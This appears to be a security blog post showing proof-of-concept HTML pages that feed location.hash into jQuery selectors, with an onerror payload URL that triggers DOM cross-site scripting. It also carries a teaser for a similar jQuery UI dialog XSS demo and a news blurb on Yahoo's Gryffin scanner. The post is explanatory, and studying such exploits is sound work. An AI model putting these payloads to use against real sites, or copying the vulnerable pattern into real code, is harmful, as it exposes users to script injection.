Location.Hash exploit || JQuery 1.11.3/1.7.2/1.6.1 Cross Site Scripting

This is the code for exploiting (location.hash) JQuery for Cross Site Scripting:

<html>
    <head>

         <title>Jquery XSS Test 1</title>

                <script type="text/javascript"                        
                    src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js">
                </script>

                <script>
                   $(location.hash.split('#')[1]);
                </script>

   </head>
     <body>
        Jquery DOM XSS
    </body>
</html>

OR,

<html>
    <head>

         <title>Jquery XSS Test 2</title>

                <script type="text/javascript"                        
                    src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js">
                </script>

                <script>
                   $(location.hash);
                </script>

   </head>
     <body>
        Jquery DOM XSS
    </body>
</html>


Now, use this HTML page with file:///C:/Jquery.html#<video><source/onerror=alert(1)>


Bingo!!!!!

Comments

  1. Sheik Nizamuddin7:27 am, July 29, 2016

    Hi Jatin,

    Nice post.

    I tried the same steps and did not seem to work. Is it fixed already?

    Thanks

    ReplyDelete

Post a Comment

Popular posts from this blog

JQuery UI 1.11.4 Cross Site Scripting

Vulnerability name: XSS Reflected JQuery UI 1.11.4  I think nearly everyone gets shocked, when your Acunetix shows Cross Site Scripting in Jquery UI. But, may be many of you don’t know how to exploit it. So, here is a Code which will explain how to exploit vulnerabilities like these. Place the script on dialog function as shown in the Code below. <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head>     <title>XSS in closeText option of component ui dialog</title>     <script src="https://code.jquery.com/jquery-2.1.4.js"></script>     <script src="https://code.jquery.com/ui/1.11.4/jquery-ui.js"></script>       <script>         $(document).ready(function () {             $('#dialog').dialog({ closeText: ' <script>ale...
Read more

Yahoo Rolls Out Security Scanning Platform Gryffin: Here's What You Can Do With It

Image
Yahoo launches a new open-source project that will allow system administrators to perform URL scanning in order to find the presence of common security vulnerabilities and malicious web content. Dubbed " Project Gryffin ," it will initially launch in beta and will be under the BSD-style license, the type of license that Yahoo likes to use whenever it is launching open source projects. According to Yahoo, Gryffin is a large-scale Web security scanning platform designed to address two specific issues namely Coverage and Scale . Coverage is said to be made up of two dimensions. The first one, crawl, refers to having the ability to find as much of the application's footprint as possible. The second dimension, scan , refers to having the ability to test each application part based on applied set of vulnerabilities. Scale is obviously implied for large Web, while Coverage has two dimensions – Crawl and Fuzzing. Crawl's ability is to find as much...
Read more